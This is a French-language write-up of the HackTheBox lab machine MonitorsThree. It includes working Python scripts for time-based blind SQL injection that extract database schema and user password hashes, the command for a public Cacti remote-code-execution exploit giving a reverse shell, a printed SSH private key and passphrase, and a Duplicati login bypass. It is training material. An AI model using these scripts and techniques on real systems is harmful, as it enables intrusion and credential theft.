MonitorsThree HackTheBox (Writeup)

Hack The Boxapp.hackthebox.com

Skills:

• Subdomain Enumeration

• SQLI - Manual Time Based Blind Injection (Python Scripting)

• Cracking Hashes

• Cacti Exploitation (CVE-2024-25642) - Malicious Package Import

• Information Leakage

• Internal Service Exploitation - Duplicati

• Abusing Duplicati - Bypassing Login Authentication with Server Passphrase

• Duplicati - Creating a backup for privileged reading and writing of files [Privilege Escalation]

Reconnaissance:

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap :

Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts

Analyse des ports ouverts avec extractPorts:

Utilisation de la fonction extractPorts pour afficher de manière synthétique les ports ouverts et les copier dans le clipboard.

Scan de la version des ports avec Nmap:

Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p80,22 10.10.11.30 -oN targeted

Pour résoudre les noms de domaine en adresses IP via DNS, on insère dans le fichier /etc/hosts le nom de domaine associé à son adresse IP

Énumération des répertoires:

Recherche uniquement des répertoires

gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200

Recherche de fichiers avec extensions spécifiques (PHP, HTML, TXT) dans le répertoire admin :

gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200

Nous trouvons le fichier db.php, mais il ne contient aucune donnée.

Injection SQL

Détection de la vulnérabilité

Nous avons identifié une vulnérabilité SQL dans la fonctionnalité "Mot de passe oublié". La payload suivante a été utilisée pour confirmer la vulnérabilité :

admin' or 1=1-- -

Confirmation de la vulnérabilité avec une attaque basée sur le temps

Pour confirmer la vulnérabilité, nous avons utilisé une attaque SQL basée sur le temps :

admin' and sleep(5)-- -

La réponse a pris 5 secondes, confirmant ainsi la vulnérabilité.

SQL Injection - Time Based

Automatisation de l'exploitation avec un script Python

Nous avons développé un script Python pour automatiser l'extraction des données via l'injection SQL. Le script a permis d'extraire le nom de la base de données, les noms des tables, des colonnes, et finalement les données sensibles comme les noms d'utilisateur et les mots de passe.

Base de données:

Exemple de script pour extraire le nom de la base de données :

python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("\n\n[!] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Starting SQL injection attack...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n'a été trouvé pour cette position, on arrête la boucle
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    logger.info("SQL injection completed!")
    logger.info(f"Final extracted data: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)

• Nom de la base de données : monitorsthree_db

Bases de données:

import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("\n\n[!] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting database name at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Formatage de la requête SQL avec toutes les variables nécessaires
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n'a été trouvé pour cette position, on arrête la boucle
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Requête pour extraire les noms des bases de données
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("No more databases found.")
            break
        
        databases.append(database_name)
        logger.info(f"Found database: {database_name}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of databases: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)

information_schema, monitorthree_db

Tables:

import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("\n\n[!] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting table name at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Formatage de la requête SQL avec toutes les variables nécessaires
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n'a été trouvé pour cette position, on arrête la boucle
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Requête pour extraire les noms des tables de la base de données `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("No more tables found.")
            break
        
        tables.append(table_name)
        logger.info(f"Found table: {table_name}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of tables in monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)

• Tables : invoices, customers, changelog, tasks, invoice_tasks, users

Colonnes:

import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("\n\n[!] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting column name at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Formatage de la requête SQL avec toutes les variables nécessaires
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n'a été trouvé pour cette position, on arrête la boucle
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Requête pour extraire les noms des colonnes de la table `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("No more columns found.")
            break
        
        columns.append(column_name)
        logger.info(f"Found column: {column_name}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of columns in table 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)

• Colonnes de la table users : id, username, email, password, name, position, dob, start_date, salary

Données extraites :

import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("\n\n[!] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting data at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            # Formatage de la requête SQL avec toutes les variables nécessaires
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n'a été trouvé pour cette position, on arrête la boucle
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Requête pour extraire les usernames
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Requête pour extraire les passwords
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("No more credentials found.")
            break
        
        credentials.append((username, password))
        logger.info(f"Found credentials: {username}:{password}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of credentials: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack to extract credentials.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)

• admin:31a181c8372e3afc59dab863430610e8

• mwatson:c585d01f2eb3e6e1073e92023088a3dd

• janderson:1e68b6eb86b45f6d92f8f292428f77ac

• dthompson:633b683cc128fe244b00f176c8a950f5

Crackage des mots de passe

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.crackstation.net

Nous avons utilisé CrackStation pour cracker les mots de passe hashés. Les identifiants suivants ont été obtenus :

Identifiants :

• Utilisateur : admin

• Mot de passe : greencacti2001

Énumération des sous-domaines:

En utilisant la commande Gobuster pour l'énumération des sous-domaines :

gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

Nous trouvons le sous-domaine cacti.monitorsthree.htb.

Nous ajoutons cette entrée dans /etc/hosts.

Accès au panneau de connexion Cacti :

Le panneau de connexion de Cacti, version 1.2.26, est accessible sur ce sous-domaine. Avec les identifiants admin:greencacti2001, nous réussissons à nous connecter.

Cacti RCE Vulnerability Exploitation

GitHub - 5ma1l/CVE-2024-25641: This repository automates the process of exploiting CVE-2024-25641 on Cacti 1.2.26GitHub

Pour exploiter la vulnérabilité RCE de Cacti, nous allons modifier un fichier PHP et exécuter un script d'exploitation :

Ce script crée un fichier compressé contenant un payload PHP qui sera injecté sur le serveur cible, nous permettant ainsi d'obtenir une reverse shell.

python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php

Élévation de privilèges :

En explorant le répertoire web /var/www/html, nous trouvons des fichiers de base de données dans le dossier cacti, notamment le fichier de configuration config.php situé dans /var/www/html/cacti/include/config.php.

Extraits de config.php :

$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';

Nous listons ensuite les utilisateurs dans la table user_auth de la base de données cacti :

Select * from user_auth

Nous utilisons john pour cracker les mots de passe récupérés :

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Cela nous révèle le mot de passe de l'utilisateur marcus : 12345678910.

Flag user.txt :)

Après cette étape, nous obtenons également la clé SSH de l'utilisateur marcus :

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh8OXK
rPkApFwR1k4oJkxQJi0fG2oSWmssfwqwY4FWw51sNIALbSIV3UIlz8/3ufN0zmB4WHacS+
k7hOP/rJ8GjxihThmh6PzC0RbpD/wCCCvF1qX+Bq8xc7797xBR4KfPaA9OgB0uvEuzVWco
MYII6QvznQ1FErJnOiceJoxRrl0866JmOf6moP66URla5+0sLta796+ARDNMQ2g4geh53p
ja3nZYq2QAi1b66GIRmYUGz4uWunRJ+6kUvf7QVmNgmmnF2cVYFpdlBp8WAMZ2XyeqhTkh
Z4fg6mwPyQfloTFYxw1jv96F+Kw4ET1tTL+PLQL0YpHgRTelkCKBxo4/NiGs6LTEzsucyq
Dedke5o/5xcIGnU/kTtwt5xXZMqmojXOywf77vomCuLHfcyePf2vwImF9Frs07lo3ps7pK
ipf5cQ4wYN5V7I+hFcie5p9eeG+9ovdw7Q6qrD77AAAFkIu0kraLtJK2AAAAB3NzaC1yc2
EAAAGBAKoLyKcyVw1iTiXowtwi9JvYMfCFzu1ASHxqZRtVwguhoaj0IfDlyqz5AKRcEdZO
KCZMUCYtHxtqElprLH8KsGOBVsOdbDSAC20iFd1CJc/P97nzdM5geFh2nEvpO4Tj/6yfBo
8YoU4Zoej8wtEW6Q/8Aggrxdal/gavMXO+/e8QUeCnz2gPToAdLrxLs1VnKDGCCOkL850N
RRKyZzonHiaMUa5dPOuiZjn+pqD+ulEZWuftLC7Wu/evgEQzTENoOIHoed6Y2t52WKtkAI
tW+uhiEZmFBs+Llrp0SfupFL3+0FZjYJppxdnFWBaXZQafFgDGdl8nqoU5IWeH4OpsD8kH
5aExWMcNY7/ehfisOBE9bUy/jy0C9GKR4EU3pZAigcaOPzYhrOi0xM7LnMqg3nZHuaP+cX
CBp1P5E7cLecV2TKpqI1zssH++76Jgrix33Mnj39r8CJhfRa7NO5aN6bO6SoqX+XEOMGDe
VeyPoRXInuafXnhvvaL3cO0Oqqw++wAAAAMBAAEAAAGAAxIKAEaO9xZnRrjh0INYCA8sBP
UdlPWmX9KBrTo4shGXYqytDCOUpq738zginrfiDDtO5Do4oVqN/a83X/ibBQuC0HaC0NDA
HvLQy0D4YQ6/8wE0K8MFqKUHpE2VQJvTLFl7UZ4dVkAv4JhYStnM1ZbVt5kNyQzIn1T030
zAwVsn0tmQYsTHWPSrYgd3+36zDnAJt+koefv3xsmhnYEZwruXTZYW0EKqLuKpem7algzS
Dkykbe/YupujChCK0u5KY2JL9a+YDQn7mberAY31KPAyOB66ba60FUgwECw0J4eTLMjeEA
bppHadb5vQKH2ZhebpQlTiLEs2h9h9cwuW4GrJl3vcVqV68ECGwqr7/7OvlmyUgzJFh0+8
/MFEq8iQ0VY4as4y88aMCuqDTT1x6Zqg1c8DuBeZkbvRDnU6IJ/qstLGfKmxg6s+VXpKlB
iYckHk0TAs6FDngfxiRHvIAh8Xm+ke4ZGh59WJyPHGJ/6yh3ie7Eh+5h/fm8QRrmOpAAAA
wHvDgC5gVw+pMpXUT99Xx6pFKU3M1oYxkhh29WhmlZgvtejLnr2qjpK9+YENfERZrh0mv0
GgruxPPkgEtY+MBxr6ycuiWHDX/xFX+ioN2KN2djMqqrUFqrOFYlp8DG6FCJRbs//sRMhJ
bwi2Iob2vuHV8rDhmRRq12iEHvWEL6wBhcpFYpVk+R7XZ5G4uylCzs27K9bUEW7iduys5a
ePG4B4U5NV3mDhdJBYtbuvwFdL7J+eD8rplhdQ3ICwFNC1uQAAAMEA03BUDMSJG6AuE6f5
U7UIb+k/QmCzphZ82az3Wa4mo3qAqulBkWQn65fVO+4fKY0YwIH99puaEn2OKzAGqH1hj2
y7xTo2s8fvepCx+MWL9D3R9y+daUeH1dBdxjUE2gosC+64gA2iF0VZ5qDZyq4ShKE0A+Wq
4sTOk1lxZI4pVbNhmCMyjbJ5fnWYbd8Z5MwlqmlVNzZuC+LQlKpKhPBbcECZ6Dhhk5Pskh
316YytN50Ds9f+ueqxGLyqY1rHiMrDAAAAwQDN4jV+izw84eQ86/8Pp3OnoNjzxpvsmfMP
BwoTYySkRgDFLkh/hzw04Q9551qKHfU9/jBg9BH1cAyZ5rV/9oLjdEP7EiOhncw6RkRRsb
e8yphoQ7OzTZ0114YRKdafVoDeb0twpV929S3I1Jxzj+atDnokrb8/uaPvUJo2B0eDOc7T
z6ZnzxAqKz1tUUcqYYxkCazMN+0Wx1qtallhnLjy+YaExM+uMHngJvVs9zJ2iFdrpBm/bt
PA4EYA8sgHR2kAAAAUbWFyY3VzQG1vbml0b3JzdGhyZWUBAgMEBQYH
-----END OPENSSH PRIVATE KEY-----

Nous allons d'abord observer les ports ouverts en interne avec la commande suivante :

netstat -nltp

Nous allons rediriger le port interne 8200 du serveur vers notre machine locale pour y accéder via notre navigateur. Cette redirection peut être réalisée via SSH avec la commande suivante:

ssh -i id_rsa -L 8200:127.0.0.1:8200 [email protected] -N

Duplicati Explotation:

Duplicati byPass Login Authentication

Bypass Duplicati Login Authentication Using DB Server-Passphrase · Issue #5197 · duplicati/duplicatiGitHub

Lors de l'analyse de la machine cible, un portail web Duplicati a été découvert. Ce portail présentait un panneau d'authentification demandant un mot de passe.

Duplicati est un client de sauvegarde qui stocke de manière sécurisée des sauvegardes à distance encryptées, incrémentielles et compressées de fichiers locaux sur des services de stockage en nuage et des serveurs de fichiers

En explorant le système, le répertoire de configuration de Duplicati a été localisé dans /opt/duplicati. Un fichier SQLite nommé Duplicati-server.sqlite a été identifié comme potentiellement contenant des informations sensibles.

Téléchargement du fichier SQLite

Pour analyser ce fichier, il a été téléchargé sur notre machine locale en utilisant un serveur HTTP Python :

python3 -m http.server 4444

wget http://10.10.11.30:4444/Duplicati-server.sqlite

Analyse du fichier SQLite

Le fichier a été ouvert avec l'outil sqlite3 pour examiner son contenu :

sqlite3 Duplicati-server.sqlite

Les tables ont été listées, et la table option a été sélectionnée pour extraction des données :

.tables
select * from option;

Clé	Valeur
server-passphrase	Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
server-passphrase-salt	xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
server-passphrase-trayicon	ce13157b-a06e-4b60-811d-60d294e8d0ae
server-passphrase-trayicon-hash	L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=

Conversion de la passphrase

La valeur de server-passphrase est encodée en Base64. Pour la décoder et la convertir en format hexadécimal, on utilise la commande suivante :

echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256

Cela a donné la valeur hexadécimale suivante :

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

Calcul du mot de passe final

Pour générer le mot de passe final, les étapes suivantes ont été exécutées dans la console du navigateur :

Définition de la passphrase salée :

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';

Interception de la requête avec BurpSuite

Nous interceptons la requête et l'envoyons sur do intercept -> response to this request et ensuite nous cliquons sur forward.

Une requête HTTP a été interceptée avec Burp Suite révélant les informations suivantes:

{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}

Le champ Salt correspond à la valeur server-passphrase-salt extraite de la base de données

Calcul du mot de passe noncé :

var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);

Affichage du résultat :

console.log(noncedpwd);

Le mot de passe généré (noncedpwd) est :

bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=

Injection du mot de passe et exploitation

1. Copier-coller le mot de passe calculé.

2. Utiliser Ctrl + U pour l’encoder en URL.

1. Cliquer à nouveau sur Forward pour finaliser l’exploitation.

Duplicati Backup Reading Files

Maintenant que nous avons accès au panneau d'administration de Duplicati, nous allons créer une nouvelle sauvegarde avec pour objectif d'exfiltrer la clé SSH.

Analyse de la configuration Docker En observant le fichier docker-compose.yml, nous constatons que les fichiers sont stockés sur le répertoire source du système hôte, monté dans le conteneur.

Sélection du répertoire cible Pour garantir l'accès aux fichiers sensibles, nous définissons la destination du backup sur ce répertoire en sélectionnant:

• Dossier source : /source/home/marcus/

• Source Data: source/root/

Finalisation de la configuration

• Enregistrer la configuration.

• Lancer la sauvegarde pour récupérer les fichiers ciblés.

Extraction des fichiers sauvegardés

Après l'exécution de la copie de sécurité, trois archives ZIP sont générées.

• Accès aux fichiers

  • Une tentative d’ouverture directe des fichiers échoue en raison de restrictions d’accès.

  • Cependant, via Duplicati, nous utilisons l’option Restore Files pour récupérer le contenu.

Restauration et exfiltration

• Extraction des fichiers du backup.

Sélection du dossier /source/home/marcus/ comme source de restauration.

Flag root.txt :)

Après la restauration, nous explorons les fichiers et découvrons root.txt ! 🎉